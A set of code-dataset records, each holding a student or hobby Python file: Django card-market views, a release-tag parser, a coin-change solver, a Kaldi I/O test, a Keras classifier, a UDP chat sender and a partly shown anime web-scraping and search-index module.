+{"seq_id":"492935707","text":"from django.contrib import messages\nfrom django.contrib.auth.models import User\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.views import View\nfrom django.views.generic import ListView\nfrom profiles.models import Profile\nfrom cards.forms import MoneyForm, CardForm\nfrom cards.models import Transaction, Card\n\n\nclass DeckView(View):\n def get(self, request):\n if request.user.is_anonymous:\n return redirect('profiles:login')\n deck = request.user.profile.deck\n form = MoneyForm()\n context = {\n 'deck': deck,\n 'form': form\n }\n return render(request, 'cards/index.html', context)\n\n def post(self, request):\n form = MoneyForm(request.POST)\n card_id = request.POST['card_id']\n card = Card.objects.get(pk=card_id)\n if form.is_valid():\n price = form.cleaned_data.get('money')\n Transaction.objects.create(\n seller=request.user.profile.deck,\n card=card,\n price=price\n )\n request.user.profile.deck.cards.remove(card)\n return redirect('cards:home')\n\n\nclass TransactionListView(View):\n def get(self, request):\n transactions = Transaction.objects.all()\n context = {\n 'transactions': transactions\n }\n return render(request, 'cards/transactions_list.html', context)\n\n def post(self, request):\n if 'cancel' in request.POST:\n transaction_id = request.POST['cancel']\n transaction = Transaction.objects.get(pk=transaction_id)\n request.user.profile.deck.cards.add(transaction.card)\n transaction.delete()\n if 'buy' in request.POST:\n transaction_id = request.POST['buy']\n transaction = Transaction.objects.get(pk=transaction_id)\n if transaction.price <= request.user.profile.deck.money:\n b_money = request.user.profile.deck.money - transaction.price\n seller = Profile.objects.get(pk=transaction.seller.pk)\n s_money = seller.deck.money + transaction.price\n request.user.profile.deck.money = b_money\n request.user.profile.deck.save()\n seller.deck.money = s_money\n seller.deck.save()\n request.user.profile.deck.cards.add(transaction.card)\n transaction.delete()\n else:\n messages.add_message(request, messages.INFO,\n 'Not enough money')\n return redirect('cards:market')\n return redirect('cards:market')\n\n\nclass LeaderboardView(View):\n def get(self, request):\n users = User.objects.all().order_by('-profile__deck__money')\n context = {\n 'users': users\n }\n return render(request, 'cards/leaderboard.html', context)\n\n\nclass CardDetail(View):\n def get(self, request, pk):\n card = get_object_or_404(Card, pk=pk)\n context = {\n 'card': card\n }\n return render(request, 'cards/detail.html', context)\n\n def post(self, request, pk):\n if 'delete-card' in request.POST:\n card_id = request.POST['delete-card']\n card = Card.objects.get(pk=card_id)\n card.delete()\n return redirect('cards:home')\n\n\nclass CardCreate(View):\n def get(self, request):\n form = CardForm()\n context = {\n 'form': form\n }\n return render(request, 'cards/create.html', context)\n\n def post(self, request):\n form = CardForm(request.POST)\n if form.is_valid():\n name = form.cleaned_data.get('name')\n type = form.cleaned_data.get('type')\n rarity = form.cleaned_data.get('rarity')\n Card.objects.create(\n name=name,\n type=type,\n rarity=rarity\n )\n return redirect('cards:home')\n\n\nclass CardListView(ListView):\n model = Card\n template_name = 'cards/cards_list.html'\n context_object_name = 'cards'\n paginate_by = 20\n","sub_path":"week_10/cards/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"526441497","text":"from operator import attrgetter\nimport lxml.html as lh\nimport requests\n\nimport argparse\nimport json\n\nfrom colorama import Fore, Back, Style\n\nfrom settings import config\n\n\nclass CafRelease:\n\n def __init__(self, date, tag, soc, manifest, android_version):\n self.date = date\n self.tag = tag\n self.soc = soc\n self.manifest = manifest\n self.manifest_url = config['manifest_url'].replace(\"MANIFEST\", manifest).replace(\"TAG\", tag)\n self.android_version = android_version\n\n def as_dict(self):\n return {'tag': self.tag,\n 'date': self.date,\n 'soc': self.soc,\n 'android_version': self.android_version,\n 'manifest': self.manifest,\n 'manifest_url': self.manifest_url,\n }\n\n def __str__(self):\n return \"\\n\".join([\"%s %s\" % (key, value) for key, value in self.as_dict().items()])\n\n\nclass CodeauroraReleaseParser:\n\n def __init__(self):\n self.url = config.get('url')\n self.releases = self.get_releases()\n\n def get_releases(self):\n print(\"=== Downloading CAF releases from %s ...\" % self.url)\n html = requests.get(self.url)\n print(\"=== Parsing CAF releases\")\n releases = []\n doc = lh.fromstring(html.content)\n tr_elements = doc.xpath('//tr')\n for row in tr_elements[1:]:\n date = row[0].text_content().strip()\n tag = row[1].text_content().strip()\n soc = row[2].text_content().strip()\n manifest = row[2].text_content().strip()\n android_version = row[4].text_content().strip()\n # WORKAROUND : bad android version 09.01.00\n if android_version == \"09.01.00\":\n android_version = \"09.00.00\"\n\n # print(\"%s - %s : %s (%s)\"%(soc, android_version, tag, date))\n releases.append(CafRelease(date, tag, soc, manifest, android_version))\n\n return releases\n\n def filter_releases(self, soc=None, android_version=None, number=None):\n if soc and android_version:\n filtered_releases = [release for release in self.releases\n if release.soc == soc and release.android_version == android_version]\n elif soc or android_version:\n if soc:\n filtered_releases = [release for release in self.releases\n if release.soc == soc]\n\n elif android_version:\n filtered_releases = [release for release in self.releases\n if release.android_version == android_version]\n else:\n filtered_releases = self.releases\n\n if filtered_releases and number:\n filtered_releases = filtered_releases[:number]\n return filtered_releases\n\n def print_releases(self, soc=None, android_version=None, number=None):\n releases = self.filter_releases(soc, android_version, number)\n releases.reverse()\n\n print(\"== Found %d releases\" % len(releases))\n separator = \"---------------------------------------\"\n for release in releases:\n print(release)\n print(separator)\n\n def get_latest_releases(self, soc, android_version, number=None):\n filtered_releases = self.filter_releases(soc, android_version, number)\n latest_parsed_releases = {}\n latest_releases = []\n for release in filtered_releases:\n if release.soc not in latest_parsed_releases:\n latest_parsed_releases[release.soc] = {}\n if release.android_version not in latest_parsed_releases[release.soc]:\n latest_parsed_releases[release.soc][release.android_version] = release.tag\n latest_releases.append(release)\n return latest_releases\n\n def get_latest_release(self, soc, android_version):\n latest_releases = self.get_latest_releases(soc, android_version, 1)\n if latest_releases:\n latest_release = latest_releases[0]\n else:\n latest_release = None\n return latest_release\n\n\nclass CafReleasesFile:\n\n def __init__(self, args):\n self.releases_file = config['releases_file_name']\n\n def get_tags(self):\n releases = {}\n try:\n with open(self.releases_file, 'r') as json_file:\n try:\n releases = json.load(json_file)\n except ValueError:\n print(\"Empty or invalid file\")\n except FileNotFoundError:\n pass\n return releases\n\n def get_tag(self, soc, android_version):\n file_tags = self.get_tags()\n try:\n file_tag = file_tags[soc][android_version]\n except:\n file_tag = None\n return file_tag\n\n def write_releases(self, releases):\n with open(self.releases_file, 'w+') as json_file:\n json.dump(releases, json_file, indent=4, sort_keys=True)\n\n def write_tag(self, soc, android_version, tag):\n file_releases = self.get_tags()\n\n if soc not in file_releases:\n file_releases[soc] = {}\n file_releases[soc][android_version] = tag\n self.write_releases(file_releases)\n\n def print_releases(self):\n print(json.dumps(self.get_tags(), indent=4))\n\n def update_tag(self, parser, soc, android_version):\n latest_release = parser.get_latest_release(soc, android_version)\n current_tag = self.get_tag(soc, android_version)\n\n print(\"%s - Android %s - %s\" % (soc, android_version, current_tag))\n if latest_release:\n if latest_release.tag != current_tag:\n print(Style.BRIGHT + \" => UPDATED TAG : %s\" % latest_release.tag + Style.RESET_ALL)\n self.write_tag(soc, android_version, latest_release.tag)\n\n def update_tags(self, parser, soc=None, android_version=None):\n latest_releases = parser.get_latest_releases(soc, android_version)\n\n # sort releases list\n if soc and not android_version:\n latest_releases.sort(key=attrgetter('android_version'))\n elif not soc and android_version:\n latest_releases.sort(key=attrgetter('soc'))\n elif soc and android_version:\n latest_releases.sort(key=attrgetter('soc', 'android_version'))\n\n for release in latest_releases:\n self.update_tag(parser, release.soc, release.android_version)\n\n def update_file_tags(self, parser):\n tags = self.get_tags()\n for soc in tags.keys():\n for android_version in tags[soc].keys():\n self.update_tag(parser, soc, android_version)\n\n\nif __name__ == '__main__':\n args_parser = argparse.ArgumentParser()\n args_parser.add_argument(\"-s\", \"--soc\", help=\"soc to filter\", type=str, default=None)\n args_parser.add_argument(\"-a\", \"--android_version\", help=\"android version to filter\", type=str, default=None)\n args_parser.add_argument(\"-n\", \"--number\", help=\"show last [number] releases\", type=int)\n args_parser.add_argument(\"-p\", \"--print_releases\", help=\"prints online tags releases\", action=\"store_true\")\n args_parser.add_argument(\"-f\", \"--print_file\", help=\"prints tags file\", action=\"store_true\")\n args_parser.add_argument(\"-x\", \"--update_tags\", help=\"update tags file\", action=\"store_true\")\n args_parser.add_argument(\"-u\", \"--update_file_tags\", help=\"update tags file\", action=\"store_true\")\n args = args_parser.parse_args()\n\n # file\n caf_file = CafReleasesFile(args)\n if args.print_file:\n caf_file.print_releases()\n exit\n\n # from now on, we need a CodeauroraReleaseParser instance\n else:\n caf_parser = CodeauroraReleaseParser()\n if args.print_releases:\n caf_parser.print_releases(args.soc, args.android_version, args.number)\n\n if args.update_file_tags:\n caf_file.update_file_tags(caf_parser)\n\n if args.update_tags:\n caf_file.update_tags(caf_parser, args.soc, args.android_version)\n","sub_path":"caf-tag-parser.py","file_name":"caf-tag-parser.py","file_ext":"py","file_size_in_byte":8023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"433515385","text":"\"\"\"\n\nGiven a value N, if we want to make change for N cents, and we have infinite supply of each of S = { S1, S2, .. , Sm } valued coins, how many ways can we make the change? The order of coins doesn’t matter.\n\nFor example, for N = 4 and S = {1,2,3}, there are four solutions: {1,1,1,1},{1,1,2},{2,2},{1,3}. So output should be 4. For N = 10 and S = {2, 5, 3, 6}, there are five solutions: {2,2,2,2,2}, {2,2,3,3}, {2,2,6}, {2,3,5} and {5,5}. So the output should be 5.\n\n\"\"\"\n\nN = 2\nS = (1, 2)\n#Expected output: 3\n\ndef total_solutions(n, coins):\n #base cases\n if n == 0:\n return 1\n\n if n < 0:\n return 0\n\n if len(coins) == 0:\n return 0\n\n #solutions with coins[-1] + solutions without coins[-1]\n return total_solutions(n-coins[-1], coins) + total_solutions(n, coins[:-1])\n\ndef coin_change_dp(n, coins):\n coins = sorted(coins)\n dp = [ [ 0 for i in range(n+1) ] for i in range(len(coins)+1) ] #dp[i][j] = solutions for coins[:i] and N = j\n\n #base case: if we dont have any coins there are no solutions\n #first row is all zeroes\n\n #base case 2: if n == 0 there is one solution\n for i in range(len(coins)+1):\n dp[i][0] = 1\n\n # print('dp')\n # for row in dp:\n # print(row)\n # print('')\n #fill the matrix\n for i in range(1, len(coins)+1):\n for j in range(1, n+1):\n\n left_ind = j-coins[i-1]\n if left_ind < 0:\n left_part = 0\n else:\n left_part = dp[i][j-coins[i-1]]\n\n\n dp[i][j] = left_part + dp[i-1][j]\n # for row in dp:\n # print(row)\n # print('')\n # for row in dp:\n # print(row)\n # print('')\n return dp[len(coins)][n]\n\n\n\nassert(coin_change_dp(4, [1,2,3]) == 4)\nassert(coin_change_dp(10, [2, 5, 3, 6]) == 5)\nS = [44,5,9,39,6,25,3,28,16,19,4,49,40,22,2,12,45,33,23,42,34,15,46,26,13,31,8]\nN = 2\nassert(coin_change_dp(N, S) == 1)\n#print(total_solutions(6, S))\n\n","sub_path":"practice/problems/coin_change.py","file_name":"coin_change.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"303227442","text":"#!/usr/bin/env python3\n\nimport kaldi\n\nwspecifier = 'ark,scp:/tmp/ali.ark,/tmp/ali.scp'\n\nwriter = kaldi.IntVectorWriter(wspecifier)\nwriter.Write(key='foo', value=[1, 2, 3])\nwriter.Write('bar', [10, 20])\nwriter.Close()\n\nrspecifier = 'scp:/tmp/ali.scp'\nreader = kaldi.SequentialIntVectorReader(rspecifier)\n\nfor key, value in reader:\n print(key, value)\n\nreader.Close()\n\nreader = kaldi.RandomAccessIntVectorReader(rspecifier)\nvalue1 = reader['foo']\nprint(value1)\n\nvalue2 = reader['bar']\nprint(value2)\nreader.Close()\n","sub_path":"src/pybind/doc/tutorial/code/test_io_ali.py","file_name":"test_io_ali.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"292392729","text":"import pandas\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Activation\n\n# load dataset\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\nimport numpy as np\ndataset = pd.read_csv(\"Breas Cancer.csv\", header=None).values\n#print(dataset.head())\ndataset[:,1]=np.where(dataset[:,1]=='B',0,dataset[:,1])\ndataset[:,1]=np.where(dataset[:,1]=='M',1,dataset[:,1])\n#print(dataset.head())\n\n\nX_train, X_test, Y_train, Y_test = train_test_split(dataset[1:,2:31], dataset[1:,1],\n test_size=0.25, random_state=87)\n\nnp.random.seed(155)\nmy_first_nn = Sequential() # create model\nmy_first_nn.add(Dense(30, input_dim=29, activation='tanh')) # hidden layer\nmy_first_nn.add(Dense(30, input_dim=29, activation='tanh')) # hidden layer\nmy_first_nn.add(Dense(30, input_dim=29, activation='tanh')) # hidden layer\n\n\nmy_first_nn.add(Dense(1, activation='sigmoid')) # output layer\nmy_first_nn.compile(loss='binary_crossentropy', optimizer='adam')\nmy_first_nn_fitted = my_first_nn.fit(X_train, Y_train, epochs=100, verbose=0,\n initial_epoch=0)\nprint(\"summary: \",my_first_nn.summary())\nprint(my_first_nn.evaluate(X_test, Y_test, verbose=0))","sub_path":"DL-ICP1/cancer.py","file_name":"cancer.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"564940932","text":"#!/usr/bin/python3\nimport socket\n\nrecv_ip='197.168.43.41'\nrecv_port=4444\n\ns=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n\nq=0\nwhile q==0:\n\ta=input(\"Enter your msg:\")\n\tif len(a)>150:\n\t\tprint(\"message should be less then 150 characters\")\n\t\ta=input(\"Enter your msg :\")\n\tm=a.encode('ascii')\n\ts.sendto(m,(recv_ip,recv_port))\n\tdata=s.recvfrom(150)\n\tndata=data[0].decode('ascii')\n\tprint(ndata)\n\tq=int(input(\"Press 1 for quit the chat and 0 for continue :\"))\t\n","sub_path":"Problem11/sender.py","file_name":"sender.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"89806782","text":"import requests\nfrom bs4 import BeautifulSoup as bs\nimport os\nimport pickle\nimport numpy as np\nimport time\nimport re\nimport datetime as dt\nimport csv\nimport pandas as pd\nimport nltk\nfrom nltk.corpus import stopwords\nimport string\nimport heapq\n\ndef take_n_urls(n):\n\n \"\"\"This function extracts the url of each animes and returns\n them as a list. Given the high number of requests it has to perform, it checks\n the status code of each request, and, if an error code has occured,\n waits an incremental amount of time before making a new one.\"\"\"\n\n main_url = \"https://myanimelist.net/topanime.php\"\n\n # this list will contain all the urls we'll retrieve\n urls = []\n\n # each page shows 50 elements and we can retrieve each page by manipulating the \"limit\" query\n for limit in range(0, n, 50):\n content = requests.get(main_url,\n params={\"limit\": limit})\n # check if we get an error\n if content.status_code == 404:\n print(f\"Page with limit {limit} was not found. Interrumpting and returning pages found\")\n break\n soup = bs(content.content, \"html.parser\")\n\n # from the content of each page we retrieve the portions that contain the urls\n results = soup.find_all(\"a\",\n class_= \"hoverinfo_trigger fl-l ml12 mr8\")\n\n # finally, we take the string containing each url by taking the attribute href,\n # and we append them in the urls list\n for result in results:\n url = result[\"href\"]\n if url not in urls: # check for duplicates\n urls.append(url)\n\n return urls\n\n\ndef save_html_pages(urls):\n\n \"\"\"Extracts the html of each url provided in the input\n and saves it in a folder corresponding to its page in the \n anime ranking list. The path of each file has the structure\n html_pages/ranking_page_i/article_j. Given the long time needed\n to crawl all the animes, we created a counter variable and saved it as\n a binary file in order to be able to continue from where the last \n person running the function left off.\"\"\"\n \n #we created a file which store a counter corresponding to the last saved page \n if \"counter_pages\" not in os.listdir():\n start = 0\n else:\n with open(\"counter_pages\", \"rb\") as counter_file:\n start = pickle.load(counter_file) + 1\n print(f\"Starting from anime #{start}\")\n \n n = len(urls)\n for i in range(start, n):\n ranking_page = str(int(np.floor(i/50)))\n if i % 50 == 0 or f\"ranking_page_{ranking_page}\" not in os.listdir(\"./html_pages\"):\n os.mkdir(f\"html_pages/ranking_page_{ranking_page}\")\n html_page = requests.get(urls[i])\n sleep_timer = 60\n while html_page.status_code != 200: # if the status_code is not 200, we've exceeded the number of requests and have to wait\n print(f\"Exceeded number of requests while retrieving page #{i}.\\nWaiting {sleep_timer} seconds\")\n html_page.close()\n time.sleep(sleep_timer)\n html_page = requests.get(urls[i])\n sleep_timer += 10\n with open (f\"html_pages/ranking_page_{ranking_page}/article_{i}.html\", \"w\", encoding=\"utf-8\") as file:\n file.write(html_page.text)\n with open (\"counter_pages\", \"wb\") as counter_file:\n pickle.dump(i, counter_file)\n\n\ndef collect_info(num_article, folder='tsv_files'):\n\n \"\"\"This function extracts all the information we need for our dataset\n from each html page and saves it as a file named 'anime_i'.\"\"\"\n\n ranking_page = str(int(np.floor(num_article / 50)))\n article = f'html_pages/ranking_page_{ranking_page}/article_{num_article}.html'\n # we read the html page of teh given article \n with open(article, \"r\", encoding=\"utf-8\") as file:\n art = bs(file.read(), 'html.parser')\n\n # animeTitle\n animeTitle = art.find('h1', {'class': \"title-name h1_bold_none\"}).string\n # print('animeTitle :',animeTitle)\n\n # animeType\n animeType = art.find('span', {'class': \"information type\"}).string\n # print('animeType :',animeType)\n\n # animeNumEpisode and Dates (there is not specific name for those two info)\n # list lines with tag
\n lines = art.find_all('div', {'class': \"spaceit_pad\"})\n for line in lines:\n # for each div tag there is one span, so here we look for the span tag with 'Episodes:' and 'Aired'\n sp = line.find('span', {'class': \"dark_text\"})\n # to avoid error if there is no span\n if sp is not None:\n # for span 'Episodes' (and the div tag which corresponds)\n if sp.string == 'Episodes:':\n # extract the content of the right div tag and take the third line which correspond to the number of episodes\n if line.contents[2] != '\\n Unknown\\n ':\n animeNumEpisode = int(line.contents[2])\n # animeNumEpisode = int(re.findall(r'-?\\d+\\.?\\d*', str(line))[0]) #if we want to use regex\n else:\n animeNumEpisode = ''\n # for span 'Aired' (and the div tag which corresponds)\n if sp.string == 'Aired:':\n str_dates = line.contents[2].split('\\n ')[1]\n if str_dates == 'Not available':\n releaseDate = ''\n endDate = ''\n else:\n # if \"Status: Finished Airing\" (there is a endDate)\n if ('to' in str_dates) and ('?' not in str_dates):\n # extract the content of the right div tag and take the third line which correspond to the dates (fix the issue of '\\n')\n str_releaseDate, str_endDate = str_dates.split(' to ')\n\n # choose the right datetime format of str_releaseDate\n if len(str_releaseDate.split(' ')) == 3:\n date_format_releaseDate = \"%b %d, %Y\"\n elif len(str_releaseDate.split(' ')) == 2:\n date_format_releaseDate = \"%b %Y\"\n else:\n date_format_releaseDate = \"%Y\"\n # convert str_releaseDate into a datetime\n releaseDate = dt.datetime.strptime(str_releaseDate, date_format_releaseDate)\n\n # choose the right datetime format of str_endDate\n if len(str_endDate.split(' ')) == 3:\n date_format_endDate = \"%b %d, %Y\"\n elif len(str_endDate.split(' ')) == 2:\n date_format_endDate = \"%b %Y\"\n else:\n date_format_endDate = \"%Y\"\n # convert str_endDate into a datetime\n endDate = dt.datetime.strptime(str_endDate, date_format_endDate)\n\n else:\n str_releaseDate = str_dates.split(' to ')[0]\n # choose the right datetime format of str_releaseDate\n if len(str_releaseDate.split(' ')) == 3:\n date_format_releaseDate = \"%b %d, %Y\"\n elif len(str_releaseDate.split(' ')) == 2:\n date_format_releaseDate = \"%b %Y\"\n else:\n date_format_releaseDate = \"%Y\"\n # convert str_releaseDate into a datetime\n releaseDate = dt.datetime.strptime(str_releaseDate, date_format_releaseDate)\n\n endDate = ''\n # print('animeNumEpisode :',animeNumEpisode)\n # print('releaseDate :',releaseDate)\n # print('endDate :',endDate)\n\n # animeNumMembers\n animeNumMembers = int(art.find('span', {'class': \"numbers members\"}).contents[1].string.replace(',', ''))\n # print('animeNumMembers :',animeNumMembers)\n\n # animeScore\n score = art.find('div', {'class': \"score-label\"}).string\n if score == 'N/A':\n animeScore = ''\n else:\n animeScore = float(score)\n # print('animeScore :',animeScore)\n\n # animeUsers\n if art.find('span', {'itemprop': \"ratingCount\"}) is not None:\n animeUsers = int(art.find('span', {'itemprop': \"ratingCount\"}).string)\n else:\n animeUsers = ''\n # print('animeUsers :',animeUsers)\n\n # animeRank\n if art.find('span', {'class': \"numbers ranked\"}).contents[1].string != 'N/A':\n animeRank = int(art.find('span', {'class': \"numbers ranked\"}).contents[1].string.replace('#', ''))\n else:\n animeRank = ''\n # print('animeRank :',animeRank)\n\n # animePopularity\n animePopularity = int(art.find('span', {'class': \"numbers popularity\"}).contents[1].string.replace('#', ''))\n # print('animePopularity :',animePopularity)\n\n # animeDescription\n desc = art.find('p', {'itemprop': \"description\"}).contents\n animeDescription = ''\n # remove
Tag and '\\n'\n for ele in desc:\n # delete tags with regex\n ele = re.sub(re.compile('<.*?>'), '', str(ele))\n animeDescription += ele\n animeDescription = animeDescription.replace('\\n', '')\n # print('animeDescription :',animeDescription.replace('\\n',''))\n\n # animeRelated\n animeRelated = []\n # store the table which contain related animes\n table = art.find('table', {'class': \"anime_detail_related_anime\"})\n if table is not None:\n # store all links/anime related with 'a' Tag\n links = table.find_all('a')\n for link in links:\n # check if there is a hyperlink and add it in the list if yes\n if (link.get('href') is not None) and (link.string is not None):\n animeRelated += [link.string]\n animeRelated = list(set(animeRelated))\n else:\n animeRelated = ''\n # print('animeRelated :',animeRelated)\n\n # animeCharacters\n animeCharacters = art.find_all('h3', {'class': \"h3_characters_voice_actors\"})\n animeCharacters = [char.string for char in animeCharacters]\n # print('animeCharacters :',animeCharacters)\n\n # animeVoices\n td_Voices = art.find_all('td', {'class': \"va-t ar pl4 pr4\"})\n animeVoices = [voice.find('a').string for voice in td_Voices]\n # print('animeVoices :',animeVoices)\n\n # animeStaff\n # if there is a staff, the div which correspond to the table Staff is the second one (there are div with {'class':\"detail-characters-list clearfix\"})\n if len(art.find_all('div', {'class': \"detail-characters-list clearfix\"})) > 1:\n div_staff = art.find_all('div', {'class': \"detail-characters-list clearfix\"})[1]\n td_staff = div_staff.find_all('td', {'class': \"borderClass\"})\n animeStaff = []\n for td in td_staff:\n if td.get('width') == None:\n animeStaff.append([td.find('a').string, td.find('small').string])\n # if there is not staff\n else:\n animeStaff = ''\n # print('animeStaff :',animeStaff)\n\n # create a .tsv file with attributes\n with open(f'{folder}/anime_{num_article}', 'wt', encoding=\"utf8\") as out_file:\n tsv_writer = csv.writer(out_file, delimiter='\\t')\n tsv_writer.writerow([animeTitle, animeType, animeNumEpisode, releaseDate, endDate, animeNumMembers, \\\n animeScore, animeUsers, animeRank, animePopularity, animeDescription, animeRelated, \\\n animeCharacters, animeVoices, animeStaff])\n\n\ndef process_text(text, stemmer_type=\"porter\"):\n\n \"\"\"This function process the text provided as a input and returns\n a list of stemmed tokenized words, with stopwords and punctuation filtered\n out.\"\"\"\n\n # For identifying the stop words\n eng_stopwords = stopwords.words(\"english\")\n\n # For stemming\n if stemmer_type == \"lancaster\":\n stemmer = nltk.stem.LancasterStemmer()\n elif stemmer_type == \"porter\":\n stemmer = nltk.stem.PorterStemmer()\n\n try:\n tokenized = nltk.word_tokenize(text)\n stemmed = [stemmer.stem(word) for word in tokenized if ((word.lower() not in eng_stopwords) and (word not in string.punctuation))]\n except TypeError as e:\n print(text)\n raise TypeError\n return stemmed\n\n\ndef alphanumeric_sort(key):\n\n \"\"\"This function provides a way to correctly order files without\n having them to be named with leading zeros.\"\"\"\n\n num = int(re.search(\"([0-9]+)\", key).group(0))\n return num\n\n\ndef merge_tsvs(path, colnames):\n\n \"\"\"This function merges each tsv in a single dataframe\"\"\"\n\n files = sorted(os.listdir(path), key=alphanumeric_sort)\n df = pd.read_csv(path+files[0],\n names=colnames,\n sep=\"\\t\", engine='python')\n for file_name in files[1:]:\n df2 = pd.read_csv(path+file_name,\n names=colnames,\n sep=\"\\t\", engine='python')\n df = pd.concat([df, df2], ignore_index=True)\n return df\n\n\ndef create_vocabulary(corpus, name_voc_file = \"vocabulary.pkl\"):\n\n \"\"\"This function creates a vocabulary of all the words found in the\n corpus and assigns to each a specific integer term_id. It then saves \n this vocabulary as a binary file (so to avoid having to recreate it\n each time) and returns it.\"\"\"\n\n voc = set()\n i=0\n for doc in corpus :\n voc = voc.union(set(doc))\n\n dict_voc = dict(zip(sorted(voc),range(len(voc))))\n with open(name_voc_file, \"wb\") as file:\n pickle.dump(dict_voc, file)\n return dict_voc\n\n\ndef inverted_index(corpus, voc, name_inv_ind_file=\"inverted_index.pkl\"):\n\n \"\"\"This function creates an inverted index, meaning a dictionary with\n the term_id corresponding to each word in the vocabulary 'voc' as \n key and the documents containing that specific word as values.\n As for the previous function, we both return the final inverted_index\n and save it as a binary file for further use.\"\"\"\n\n # create a inverted_index \"empty\", i.e. only with term_id of vocabulary\n inverted_index = dict()\n for term, term_id in voc.items():\n inverted_index[term_id] = set()\n\n for doc, num_doc in zip(corpus, range(len(corpus))):\n # print(num_doc)\n words_checked = []\n for word in doc:\n if word not in words_checked: # to avoid looking for the same word more than once in the same doc\n words_checked.append(word)\n term_id = voc[word]\n inverted_index[term_id] = inverted_index[term_id].union(set([num_doc]))\n\n for term_id, docs in inverted_index.items():\n inverted_index[term_id] = sorted(list(inverted_index[term_id]))\n\n # save the inverted_index as a .pkl file\n with open(name_inv_ind_file, \"wb\") as file:\n pickle.dump(inverted_index, file)\n\n return inverted_index\n\n\ndef download_corpus(name_file_corpus = 'df_with_tokens.p'):\n\n \"\"\"This function extracts or downloads the corpus (depending on\n whether we've already created it) and returns it.\"\"\"\n\n print('Downloading corpus... ', end ='')\n with open(name_file_corpus, 'rb') as file:\n df = pickle.load(file)\n\n corpus = list(df['tokenized_desc'])\n print('Done')\n return corpus\n\n\ndef download_voc(corpus, name_voc_file):\n\n \"\"\"This function extracts or downloads the vocabulary (depending on\n whether we've already created it) and returns it.\"\"\"\n\n print('Downloading vocabulary... ', end ='')\n if name_voc_file not in os.listdir():\n voc = create_vocabulary(corpus, name_voc_file)\n else :\n with open(name_voc_file, \"rb\") as file:\n voc = pickle.load(file)\n print('Done')\n return voc\n\n\ndef download_inverted_index(corpus,voc, name_inv_ind_file):\n\n \"\"\"This function extracts or downloads the inverted index (depending \n on whether we've already created it) and returns it.\"\"\"\n\n print('Downloading inverted index... ', end ='')\n if name_inv_ind_file not in os.listdir():\n inv_ind = inverted_index(corpus,voc, name_inv_ind_file)\n else :\n with open(name_inv_ind_file, \"rb\") as file:\n inv_ind = pickle.load(file)\n print('Done')\n return inv_ind\n\n\ndef search_engine_1(voc, inverted_index, urls):\n\n \"\"\"This function takes a query from the user and returns all the\n animes whose synopsis include all the words in the query.\"\"\"\n\n # ask the query to the user\n query = input('What is your query ?')\n\n # apply the preprocessing to the query\n query = process_text(query.lower())\n\n # initialization with the set of the document which the first word of the query\n first_word = query[0]\n # check if first_word is in the vocabulary (otherwise, is doesn't exist any document to answer to the query)\n if first_word in voc:\n first_term_id = voc[first_word]\n docs_list = set(inverted_index[first_term_id])\n\n for word in query[1:]:\n # if the next word is in the voc, it means that it exists documents with this word\n if word in voc:\n # store the term_id and find the documents which contain this word in the inverted_index\n term_id = voc[word]\n docs = inverted_index[term_id]\n\n # compute the intersection because every word of the query has to be in the description of the doc\n docs_list = docs_list.intersection(set(inverted_index[first_term_id]))\n\n # if the intersection between the previous docs_list and the set of document with the next word,\\\n # no document answers to the query\n if len(docs_list) == 0:\n print('Nothing correspond to your queries')\n return\n\n else: # no document answers to the query\n print('Nothing corresponds to your queries')\n return\n\n # Now we have the doc IDs so we can merge interesting information\n html_df = pd.read_csv(\"./html_df.csv\") # csv which contains tsv line of each document\n cols = [\"animeTitle\", \"animeDescription\"]\n result = html_df.iloc[sorted(list(docs_list))][cols]\n result['Url'] = [urls[i] for i in sorted(list(docs_list))]\n\n return result\n\n else: # no document answers to the query\n print('Nothing correspond to your queries')\n return\n\n\ndef get_tfidf(word, doc, corpus, idf=None):\n\n \"\"\"This function computes the document's tfidf score for\n the word given in input and then returns it. Since the idf only\n depends on the word and the corpus and not on the specific text \n we're computing the score for, we also return the calculated idf so \n we can store it and use it every time that word occurs again.\"\"\"\n\n tf = doc.count(word) / len(doc)\n counter_docs = 0\n # if the idf parameter has not been provided, we compute it\n if idf == None:\n for text in corpus:\n if word in text:\n counter_docs += 1\n idf = np.log(len(corpus) / counter_docs)\n tfidf = tf * idf\n return idf, tfidf\n\n\ndef second_inverted_index(corpus, voc, name_inv_ind_tf_idf_file=\"inverted_index_2.p\", name_idfs_file=\"idfs.p\"):\n\n \"\"\"This function creates an inverted index, meaning a dictionary with\n the term_id corresponding to each word in the vocabulary 'voc' as \n key and lists [document_id, tfidf] as values.\n It then sorts the documents for each word accorsing to their tfidf\n scores, saves both the inverted index and the idfs computed as \n binary pickle files and returns them.\"\"\"\n\n inverted_index_2 = dict()\n # first, we initialize each field in the inverted_index\n for term_id in voc.values():\n inverted_index_2[term_id] = list()\n\n idf_calculated = {} # the idfs can be calculated once for each word since idf = np.log(len(corpus) / documents_with_word)\n\n for doc, num_doc in zip(corpus, range(len(corpus))):\n words_checked = []\n for word in doc:\n if word not in words_checked: # to avoid looking for the same word more than once in the same doc\n term_id = voc[word]\n # if this is the first time we encounter this word, we need to obtain the idf and save it for future use\n if word not in idf_calculated.keys():\n idf, tfidf = get_tfidf(word, doc, corpus)\n idf_calculated[word] = idf\n # otherwise, we provide it to the function directly\n else:\n _, tfidf = get_tfidf(word, doc, corpus, idf)\n # we add the doc index and the tfidf score to the dictionary\n inverted_index_2[term_id].append([num_doc, tfidf])\n # we mark this word as \"checked\" for this document\n words_checked.append(word)\n\n # we order the items by tfidf score for that term\n for term_id, docs in inverted_index_2.items():\n inverted_index_2[term_id] = 